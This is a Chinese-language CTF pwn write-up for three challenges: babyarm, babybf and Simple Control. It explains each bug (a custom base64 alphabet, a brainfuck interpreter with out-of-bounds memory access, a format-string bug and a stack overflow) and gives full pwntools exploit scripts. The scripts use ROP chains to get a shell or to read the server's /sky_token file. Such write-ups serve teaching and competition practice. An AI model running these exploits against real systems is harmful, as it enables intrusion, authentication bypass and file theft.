PWN

babyarm

变表base64加密,解密一下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# coding:utf-8

s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/"

def My_base64_encode(inputs):
# 将字符串转化为2进制
bin_str = []
for i in inputs:
x = str(bin(ord(i))).replace('0b', '')
bin_str.append('{:0>8}'.format(x))
#print(bin_str)
# 输出的字符串
outputs = ""
# 不够三倍数,需补齐的次数
nums = 0
while bin_str:
#每次取三个字符的二进制
temp_list = bin_str[:3]
if(len(temp_list) != 3):
nums = 3 - len(temp_list)
while len(temp_list) < 3:
temp_list += ['0' * 8]
temp_str = "".join(temp_list)
#print(temp_str)
# 将三个8字节的二进制转换为4个十进制
temp_str_list = []
for i in range(0,4):
temp_str_list.append(int(temp_str[i*6:(i+1)*6],2))
#print(temp_str_list)
if nums:
temp_str_list = temp_str_list[0:4 - nums]

for i in temp_str_list:
outputs += s[i]
bin_str = bin_str[3:]
outputs += nums * '='
print("Encrypted String:\n%s "%outputs)

def My_base64_decode(inputs):
# 将字符串转化为2进制
bin_str = []
for i in inputs:
if i != '=':
x = str(bin(s.index(i))).replace('0b', '')
bin_str.append('{:0>6}'.format(x))
#print(bin_str)
# 输出的字符串
outputs = ""
nums = inputs.count('=')
while bin_str:
temp_list = bin_str[:4]
temp_str = "".join(temp_list)
#print(temp_str)
# 补足8位字节
if(len(temp_str) % 8 != 0):
temp_str = temp_str[0:-1 * nums * 2]
# 将四个6字节的二进制转换为三个字符
for i in range(0,int(len(temp_str) / 8)):
outputs += chr(int(temp_str[i*8:(i+1)*8],2))
bin_str = bin_str[4:]
print("Decrypted String:\n%s "%outputs)

My_base64_decode("Sp5jS6mpH6LZC6GqSWe=")

然后再泄露libc地址,再ROP链构造一下就行了。

notice:因为qemu运行的虚拟不是在真机的,所有判断是否开启pie或者nx光用checksec检测不一定对,也可以通过qemu的参数来开启,这次的题由于对qemu的原理不是很了解,导致出现了很多保护都没有打开,于是出现了多个非预期解,在这里道个歉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
if args['DEBUG']:
context.log_level = "debug"
code = ELF("./chall")
context.arch=code.arch
if args['REMOTE']:
conn = remote("121.196.193.233",10004)
else:
conn = process("./start.sh")

libc=ELF("./libc-2.27.so")


key = 's1mpl3Dec0d4r'
conn.sendlineafter("msg> ", key)

pop_r3_pc = 0x10464
pop_r4_r5_r6_r7_r8_sb_sl_pc = 0x10cb0
mov_r0_r7_blx_r3 = 0x10ca0
vuln_func = 0x10c30
payload = fit({40:[
0x22000-0x50,#fp
pop_r3_pc,
code.plt['puts'],
pop_r4_r5_r6_r7_r8_sb_sl_pc,
code.got['puts'],
code.got['puts'],
code.got['puts'],
code.got['puts'],
code.got['puts'],
code.got['puts'],
code.got['puts'],
mov_r0_r7_blx_r3,
]})

conn.sendlineafter("comment> ", payload)

leak_libc = u32(conn.recv(4))-libc.sym['puts']
conn.close()

if args['REMOTE']:
conn = remote("121.196.193.233", 10004)
else:
conn = process("./start.sh")


conn.sendlineafter("msg> ", key)
payload = fit({40:[
0x22000-0x50,#fp
pop_r3_pc,
leak_libc+libc.sym['system'],
pop_r4_r5_r6_r7_r8_sb_sl_pc,
leak_libc+libc.search("/bin/sh").next(),
leak_libc+libc.search("/bin/sh").next(),
leak_libc+libc.search("/bin/sh").next(),
leak_libc+libc.search("/bin/sh").next(),
leak_libc+libc.search("/bin/sh").next(),
leak_libc+libc.search("/bin/sh").next(),
leak_libc+libc.search("/bin/sh").next(),
mov_r0_r7_blx_r3
]})
conn.sendlineafter("comment> ", payload)

conn.interactive()

也可以通过写shellcode到bss段也可以,直接写到堆里面也可以,因为我连aslr都没有开启,所以这里直接泄露libc地址也可以,然后重新链接也可以。师傅们确实都很强,让我学到很多。(被打烂啦)

babybf

brainfuck语言解释器的越界读写漏洞

没有对bf的越界进行识别,于是存在一个指针可以访问和修改内存里的任何一个数据,泄露libc地址,打one_gadget或者system(“bin/sh”)都可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
import sys
import os
import os.path
code = ELF("./chall")
context.arch=code.arch
context.os='linux'
context.terminal = ['tmux','splitw','-h']

if len(sys.argv) == 3:
DEBUG = 0
HOST = sys.argv[1]
PORT = int(sys.argv[2])
conn = remote(HOST, PORT)
elif len(sys.argv) == 1:
print ("Welcome to c0ke's simplified pwntools template!!!")
print ("Usage : \n")
print (" 1. python mode.py HOST PORT\n ")
print (" 2. python mode.py PATH\n")
exit()
else:
DEBUG = 1
if len(sys.argv) == 2:
PATH = sys.argv[1]
conn = process(PATH)


def debug():#debug
gdb.attach(proc.pidof(p)[0],gdbscript="b __libc_start_main")
pause()
libc=ELF("./libc-2.27.so")

def once(payload):
conn.sendlineafter("len> ", str(len(payload)))
conn.sendafter("code> ", payload)

once('>'*0x58 + '.>.>.>.>.>.')
leak_libc = u64(conn.recvuntil("\x7f").ljust(8, b'\x00'))-0x21C87

pop_rdi_ret = leak_libc+0x2164f
ret = leak_libc+0x8aa

rop = fit({0:[
ret,
pop_rdi_ret,
leak_libc+libc.search("/bin/sh").next(),
leak_libc+libc.sym['system']
]})

print ('[libc]: ' + hex(leak_libc) )
once('>'*0x38 + ',>'*(len(rop)-1) + ',')

for i in rop:
conn.send(i)

conn.interactive()

Simple Control

考点

1
2
3
4
ssl、protobuf基础
linux 基础
格式化字符漏洞利用
orw

环境说明

附件的可以到github进行下载附件

介绍和hint如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
介绍:
SSL?Protobuf?What hell ! Emotional damage!

注意:
你需要通过程序漏洞去获取远程服务器上的 /sky_token 文件内容,释放赛题后通过sky_token获取flag。
在token校验正确之后,请严格按照报名要求填写队伍名称以及选手id或名字。

远程服务: 1.14.123.62 15052

hint 1:
登录时,账号输入%p,哎,好奇怪,服务端控制台打印了地址?

hint 2:
通过Logger函数中的出现的格式化字符串漏洞写当前连接用户token值和状态值。

hint 3:
在授权后,在MashineControl处出现部分字符溢出,灵活切换ssl层的socket与tcp层的socket,在此可以泄露cannary,再通过此处同样的漏洞进行堆栈漏洞利用的 orw rop构造。

提供了附件如下

1
2
3
4
5
6
7
8
9
10
11
.
├── ca.crt
├── client
├── client.crt
├── client_rsa_private.pem
├── lib
...
├── protocol.proto
├── server
├── server.crt
└── server_rsa_private.pem

client程序使用方法

1
2
Usage:
./client [ip] [port] [client.crt] [client.pem] [ca.crt]

server程序使用方法

1
2
Usage:
./server [port] [server.crt] [server.pem] [ca.crt]

通过程序例子来看,可以自己在本地测试一下。

先运行一下服务端

1
./server 8888 server.crt server_rsa_private.pem ca.crt

在运行一下客户端

1
./client 127.0.0.1 8888 client.crt client_rsa_private.pem ca.crt

客户端需要登录

1
2
3
4
5
user:adad
password:asdfasdf
Login failed!
User adad is error
user:

通过题目意思,协议是采用ssl,securiy socket layer,这个ssl这个就不用多说了吧,http套了个ssl就是https了,只不过大部分https网站都是单项认证的,客户端不需要私钥,该程序为ssl的双向认证,也套了一个protobuf做数据的序列化,方便客户端与服务端进行数据交互,协议关系如下。

1
2
3
4
5
6
7
8
9
10
11
--------------------------
| ---------------------| |
| | | ---------------| | |
| | | |Protobuf data | | |
| | | -------------- | | |
| | | id + length | | |
| | -------------------| |
| | SSL | |
| ---------------------- |
| TCP |
--------------------------

该程序呢也为了让参赛选手逆向分析,也没有把符号表去掉,也加了调试的符号表,在gdb调试中,可以直接看程序源码。也给了proto文件,就不用逆向分析protobuf的数据结构了,直接可以写客户端。写客户端,为了更好的进行交互与调试,我们选择python的socket和ssl来做包裹。python代码框架如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#! /usr/bin/python3
from pwn import *
import ssl
import socket
from time import sleep
from ctypes import *
import os

def hack(fd, ssock):
# connected server
a = 0

context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.load_verify_locations('./ca.crt')
context.load_cert_chain('./client.crt', './client_rsa_private.pem.unsecure')
context.check_hostname = False
with socket.create_connection(('1.14.123.62', 15052)) as sock:
fd = sock.fileno()
with context.wrap_socket(sock, server_hostname='hack') as ssock:
hack(fd, ssock)

程序一个给了个proto文件,采用pip安装一下protobuf即可.

1
pip install --upgrade protobuf 

需要通过protoc将proto文件转化成python文件

1
protoc ./protocol.proto --python_out=./

得到protocol_pb2.py

之后的序列化数据就可以直接用了。

通过调试直接可以看源码,readfrom和writeto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
bool writeto(SSL *ssl, int id, const std::string &pak) {
header h;
h.id = htonl(id);
h.length = htonl(pak.length());
int len = SSL_write(ssl, &h, sizeof(header));
if(len <= 0) {
return false;
}

len = SSL_write(ssl, pak.data(), pak.length());
if(len <= 0) {
return false;
}
return true;
}

bool readfrom(SSL *ssl, int &id, std::string &pak) {
header h;
int len = SSL_read(ssl, &h, sizeof(header));
if(len <= 0) {
print("readfrom: length to is 0", 1);
return false;
}

h.length = ntohl(h.length);
h.id = ntohl(h.id);
id = h.id;
if(h.length > 0x1000) {
print("readfrom: length to long", 1);
return false;
}

pak.resize(h.length);
len = SSL_read(ssl, pak.data(), h.length);
if(len <= 0) {
print("readfrom: length to is 0.", 1);
return false;
}

return true;
}

直接对ssl层再次做了个封装,加了一个简单的头部结构体,头部信息包含了id和包体大小,id拥有做消息类型判断的,有点类似

与http的path,做消息路由。那么我们python写这两个函数的封装,如下:

1
2
3
4
5
6
7
8
9
10
11
12
def writeto(ssock, id, pak):
h = p32(socket.htonl(id))
h += p32(socket.htonl(len(pak)))
ssock.send(h)
ssock.send(pak)

def readfrom(ssock):
h = ssock.recv(8)
l = socket.ntohl(u32(h[4:8]))
print('recved len:' + str(l))
pak = ssock.recv(1024)
return pak

通过逆向,服务端主要处理两个消息,一个是登录、另一个是控制,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
do {
int id;
std::string reqstr, repstr;
if(readfrom(ssl, id, reqstr) == false) {
goto finish;
}

switch(id) {
case Router::ReqLogin: {

if(LoginHandler(new_fd, ssl, reqstr) == false) {
goto finish;
}
}break;
case Router::ReqControl: {
if(ControlHandler(new_fd, ssl, reqstr) == false) {
goto finish;
}

}break;
default:
goto finish;
break;

}

id = -1;
}while(1);

我们采用python也封装一下调用函数,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# pip install --upgrade protobuf 
def login(ssock, user, password):
req = protocol_pb2.PakReqLogin()
req.user = user
req.password = password
b = req.SerializeToString()
writeto(ssock, ReqLogin, b)
return readfrom(ssock)


def control(ssock, cmd, token):
req = protocol_pb2.PakReqControl()
req.cmd = cmd
req.token = token
b = req.SerializeToString() # probuf序列化
writeto(ssock, ReqControl, b)
return readfrom(ssock)

之后就是可以模拟客户端正常的与服务端进行交互了。

漏洞点

漏洞1

在Logger函数中

1
2
3
4
5
void Logger(const char *fmt,const  char *log, int len, char *out) {
snprintf(out, len, fmt, log);
fprintf(stdout, out);
fflush(stdout);
}

由于fprintf的格式化字符串参数是可控的,造成了格式化字符串漏洞,在登录时,不管用户登录成功没有,会调用该Logger来打印用户名称,登录失败时,调用如下:

1
Logger("User %s is error", user, 256, repmsg);

user是我们输入的用户名,在用户名输入%p的时候,服务端可输出地址。

服务端程序采用Token来校验客户端是否登录,在登录成功的用户会随机生成8字节的token,用于客户端的操作授权。

我们来看一下Token校验函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int CheckToken(int uid, const char *token) {
int i = 0;
for (i = 0; i < TOKEN_LENGTH; i++) {
if(tokens[uid][i] == 0) { // 判断token值是否全为0,如果全为0,代表token是空的,直接check失败
continue;
}else {
break;
}
}
if(i == 8) {
print("token as null", 1);
return 0;
}
if(tokens_status[uid] == 0) { // 判断token状态值,是否为0,如果为0,也校验失败。
return 0;
}

if(memcmp(tokens[uid], token, TOKEN_LENGTH)) {
print("token not ==", 1);
return 0;
}
return 1;
}

uid是连接用户的文件描述符,调试为5,token是用户传过来的token。

检测算法是,客户端的token要与自己内存中对应用户token值相等,且不能为空token,也要保证token_status值不为0。

漏洞2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int MachineControl(const char *name, const char *op) {
char path[32];
char var[36]; // name_length, fd, i, oplen;
char *cname = &var[5];
var[0] = strlen(name); // name长度
var[1] = -1; // 文件描述符
var[2] = 0; // 临时变量
var[3] = strlen(op); // 操作方式字符串长度

if(var[0] > 32) {
return 0;
}
sprintf(path, "./machines/%s", name); // 存在12字节溢出

int fd = open(path, O_WRONLY);
if(fd < 0) {
perror("open");
}else {
var[1] = fd;
}
// 拷贝name,将其转化成大写。
memcpy(cname, name, var[0]);
for(var[2] = 0; var[2] < var[0] && var[2] < 32; var[2] ++) {
if(cname[var[2]] >= 'a' && cname[var[2]] <= 'z' ) {
cname[var[2]] = toupper(cname[var[2]]);
}
}

write(var[1], cname, var[0]); // 写入文件
write(var[1], op, var[3]);
return 1;
}

由于sprintf存在12字节溢出,我们可以控制,var[0]、var[1]… var[3]变量。

漏洞利用

checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

实现授权

通过漏洞1的格式化字符串漏洞,写当前用户的token和token_status为预期值,绕过token检测,实现授权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
elf = ELF('./server')    
#p = b'ABCD%33$p'
#p = p.ljust(15, b'\x00')
#p += p64(0x1234)
#ret = login(ssock, p, b'\x00')
uid = 5

p = b'ABCD%35$ln'
p = p.ljust(16, b'\x11')
p += p64(elf.sym['tokens'] + (8 * uid)) # is 9
ret = login(ssock, p, b'\x00')

p = b'ABCD%35$hhn'
p = p.ljust(16, b'\x11')
p += p64(elf.sym['tokens_status'] +uid) # is 9
ret = login(ssock, p, b'\x00')


print("By passed token check")
# now can bypassed token check
# token is: 09 00 00 00 00 00 00 00
# test is bypass ?
# ret = control(ssock, b'show', b'\x09')
# print(ret)

泄露cannary

通过漏洞2,控制好var[0]、… var[3]变量,可以实现堆栈内存读和溢出。我们可以将堆栈中的cannary值写入socket的文件描述符里,让客户端能够通过socket收到服务端的数据,在客户端接收的时候也要的采用当前连接的文件描述符来读取,通过os.read(fd, length)来读取数据,让数据通过tcp层来传输,而非ssl层之上的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Now leak cannary by StartMeshine or StopMeshine operation
cmd = b'start-'
cmd += b'B' * (32 - 11)
cmd += p8(8) # string length
cmd += p8(5) # socket
cmd += p8(1) # i
cmd += p8(80) # op string len, used by leak cannary

# send by ssock
req = protocol_pb2.PakReqControl()
req.cmd = cmd
req.token = b'\x09'
b = req.SerializeToString()
writeto(ssock, ReqControl, b)

print(fd)
print('leak cannary')

ret = os.read(fd, 8)
print(ret)
ret = os.read(fd, 80)
print(ret)
cannary = ret[7:15]
cannary = u64(cannary)
print('cannary: ' + hex(cannary))

ret = ssock.recv(1024) # 剩余数据
print(ret)

实现任意文件泄露

程序也开启了沙箱,通过orw来实现任意文件泄露,先采用堆栈迁移,不断拓展read的长度,之后采用scu rop来构造 read、open、write的rop链,读取/sky_token文件内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# now we make a simple stack rop
cmd = b'start-'
cmd += b'A' * (32 - 11)
cmd += p8(0x7f) # string length
cmd += p8(5) # socket
cmd += p8(1) # i
cmd += p8(0x7f) # op string len, used by leak cannary
cmd = cmd.ljust(0x2B - 8 + 6, b'\x00')
cmd += p64(cannary)


# stack pivot
new_stack = elf.bss() + 0x400
cmd += p64(new_stack) # rbp
pop_rsi_r15 = 0x00000000005ab3c1
leave = 0x4640D0
read_addr = 0x4084E0
cmd += p64(pop_rsi_r15) # set as read
cmd += p64(new_stack) # rsi
cmd += p64(0) # r15
cmd += p64(read_addr)
cmd += p64(leave)

print('cmd length: ' + hex(len(cmd)))

# send to server
req = protocol_pb2.PakReqControl()
req.cmd = cmd
req.token = b'\x09'
b = req.SerializeToString()
writeto(ssock, ReqControl, b)
# Machine Control: write 1: 0x40976B
#return

ret = os.read(fd, 0x7f)
print(b'readed: ' + ret)
ret = os.read(fd, 0x7f)
print(b'readed: ' + ret)

# use scu rop to open read write ./flag
scu_init = 0x5AB3BA
scu_call = 0x5AB3A0

# extend more read
p = b'\x11' * 8 # new statck
p += p64(scu_init)
p += p64(0) # rbx
p += p64(1) # rbp
p += p64(5) # r12 -> edi
p += p64(new_stack + 0x40) # r13 -> rsi
p += p64(0x300) # r14 -> rdx
p += p64(elf.got['read']) # r15 -> to call [r15]
p += p64(scu_call)
#sleep(0.5)
p = p.ljust(0x7f, b'\x12')

ret = os.write(fd, p)

#sleep(0.5)

# open
p = p64(scu_init)
p += p64(0) # rbx
p += p64(1) # rbp
p += p64(new_stack + 0x40 + 0xc0) # r12 -> edi, flag addr
p += p64(0) # r13 -> rsi
p += p64(0) # r14 -> rdx
p += p64(elf.got['open']) # r15 -> to call [r15]
p += p64(scu_call)

# read
p += p64(0) # fill
p += p64(0) # rbx
p += p64(1) # rbp
p += p64(6) # r12 -> edi
p += p64(new_stack + 0x200) # r13 -> rsi
p += p64(0x80) # r14 -> rdx
p += p64(elf.got['read']) # r15 -> to call [r15]
p += p64(scu_call)

# write
p += p64(0) # fill
p += p64(0) # rbx
p += p64(1) # rbp
p += p64(5) # r12 -> edi
p += p64(new_stack + 0x200) # r13 -> rsi
p += p64(0x80) # r14 -> rdx
p += p64(elf.got['write']) # r15 -> to call [r15]
p += p64(scu_call)

print("scu rop length: " + hex(len(p)))

p += b'/sky_token\x00'
ret = os.write(fd, p)

ret = os.read(fd, 0x80)
print(b'recv: ' + ret)

ret = os.read(fd, 0x80)

print(b'sky token: ' + ret)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
#! /usr/bin/python3
from pwn import *
import ssl
import socket
from time import sleep
from ctypes import *
import os
import protocol_pb2

ReqLogin = 0
RepLogin = 1
ReqControl = 2
RepControl = 3

def writeto(ssock, id, pak):
h = p32(socket.htonl(id))
h += p32(socket.htonl(len(pak)))
ssock.send(h)
ssock.send(pak)

def readfrom(ssock):
h = ssock.recv(8)
l = socket.ntohl(u32(h[4:8]))
print('recved len:' + str(l))
pak = ssock.recv(1024)
return pak


# pip install --upgrade protobuf
def login(ssock, user, password):
req = protocol_pb2.PakReqLogin()
req.user = user
req.password = password
b = req.SerializeToString()
writeto(ssock, ReqLogin, b)
return readfrom(ssock)


def control(ssock, cmd, token):
req = protocol_pb2.PakReqControl()
req.cmd = cmd
req.token = token
b = req.SerializeToString()
writeto(ssock, ReqControl, b)
return readfrom(ssock)

def hack(fd, ssock):
elf = ELF('./server')
#p = b'ABCD%33$p'
#p = p.ljust(15, b'\x00')
#p += p64(0x1234)
#ret = login(ssock, p, b'\x00')
uid = 5

p = b'ABCD%35$ln'
p = p.ljust(16, b'\x11')
p += p64(elf.sym['tokens'] + (8 * uid)) # is 9
ret = login(ssock, p, b'\x00')

p = b'ABCD%35$hhn'
p = p.ljust(16, b'\x11')
p += p64(elf.sym['tokens_status'] +uid) # is 9
ret = login(ssock, p, b'\x00')


print("By passed token check")
# now can bypassed token check
# token is: 09 00 00 00 00 00 00 00
# test is bypass ?
# ret = control(ssock, b'show', b'\x09')
# print(ret)

# Now leak cannary by StartMeshine or StopMeshine operation
cmd = b'start-'
cmd += b'B' * (32 - 11)
cmd += p8(8) # string length
cmd += p8(5) # socket
cmd += p8(1) # i
cmd += p8(80) # op string len, used by leak cannary

# send by ssock
req = protocol_pb2.PakReqControl()
req.cmd = cmd
req.token = b'\x09'
b = req.SerializeToString()
writeto(ssock, ReqControl, b)

print(fd)
print('leak cannary')

ret = os.read(fd, 8)
print(ret)
ret = os.read(fd, 80)
print(ret)
cannary = ret[7:15]
cannary = u64(cannary)
print('cannary: ' + hex(cannary))

ret = ssock.recv(1024)
print(ret)


# now we make a simple stack rop
cmd = b'start-'
cmd += b'A' * (32 - 11)
cmd += p8(0x7f) # string length
cmd += p8(5) # socket
cmd += p8(1) # i
cmd += p8(0x7f) # op string len, used by leak cannary
cmd = cmd.ljust(0x2B - 8 + 6, b'\x00')
cmd += p64(cannary)


# stack pivot
new_stack = elf.bss() + 0x400
cmd += p64(new_stack) # rbp
pop_rsi_r15 = 0x00000000005ab3c1
leave = 0x4640D0
read_addr = 0x4084E0
cmd += p64(pop_rsi_r15) # set as read
cmd += p64(new_stack) # rsi
cmd += p64(0) # r15
cmd += p64(read_addr)
cmd += p64(leave)

print('cmd length: ' + hex(len(cmd)))

# send to server
req = protocol_pb2.PakReqControl()
req.cmd = cmd
req.token = b'\x09'
b = req.SerializeToString()
writeto(ssock, ReqControl, b)
# Machine Control: write 1: 0x40976B
#return

ret = os.read(fd, 0x7f)
print(b'readed: ' + ret)
ret = os.read(fd, 0x7f)
print(b'readed: ' + ret)

# use scu rop to open read write ./flag
scu_init = 0x5AB3BA
scu_call = 0x5AB3A0

# extend more read
p = b'\x11' * 8 # new statck
p += p64(scu_init)
p += p64(0) # rbx
p += p64(1) # rbp
p += p64(5) # r12 -> edi
p += p64(new_stack + 0x40) # r13 -> rsi
p += p64(0x300) # r14 -> rdx
p += p64(elf.got['read']) # r15 -> to call [r15]
p += p64(scu_call)
#sleep(0.5)
p = p.ljust(0x7f, b'\x12')

ret = os.write(fd, p)

#sleep(0.5)

# open
p = p64(scu_init)
p += p64(0) # rbx
p += p64(1) # rbp
p += p64(new_stack + 0x40 + 0xc0) # r12 -> edi, flag addr
p += p64(0) # r13 -> rsi
p += p64(0) # r14 -> rdx
p += p64(elf.got['open']) # r15 -> to call [r15]
p += p64(scu_call)

# read
p += p64(0) # fill
p += p64(0) # rbx
p += p64(1) # rbp
p += p64(6) # r12 -> edi
p += p64(new_stack + 0x200) # r13 -> rsi
p += p64(0x80) # r14 -> rdx
p += p64(elf.got['read']) # r15 -> to call [r15]
p += p64(scu_call)

# write
p += p64(0) # fill
p += p64(0) # rbx
p += p64(1) # rbp
p += p64(5) # r12 -> edi
p += p64(new_stack + 0x200) # r13 -> rsi
p += p64(0x80) # r14 -> rdx
p += p64(elf.got['write']) # r15 -> to call [r15]
p += p64(scu_call)

print("scu rop length: " + hex(len(p)))

p += b'/sky_token\x00'
ret = os.write(fd, p)

ret = os.read(fd, 0x80)
print(b'recv: ' + ret)

ret = os.read(fd, 0x80)

print(b'sky token: ' + ret)

interactive(fd)
#ret = os.read(fd, 0x1000)

def interactive(fd):
print('interactive')
while True:
ret = os.read(fd, 1024)
l = os.write(1, ret)
print("wait input:")
d = input('') + '\n'
os.write(fd, d.encode())

context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.load_verify_locations('./ca.crt')
context.load_cert_chain('./client.crt', './client_rsa_private.pem.unsecure')
context.check_hostname = False
with socket.create_connection(('1.14.123.62', 15052)) as sock:
#with socket.create_connection(('127.0.0.1', 15052)) as sock:
fd = sock.fileno()
with context.wrap_socket(sock, server_hostname='hack') as ssock:
hack(fd, ssock)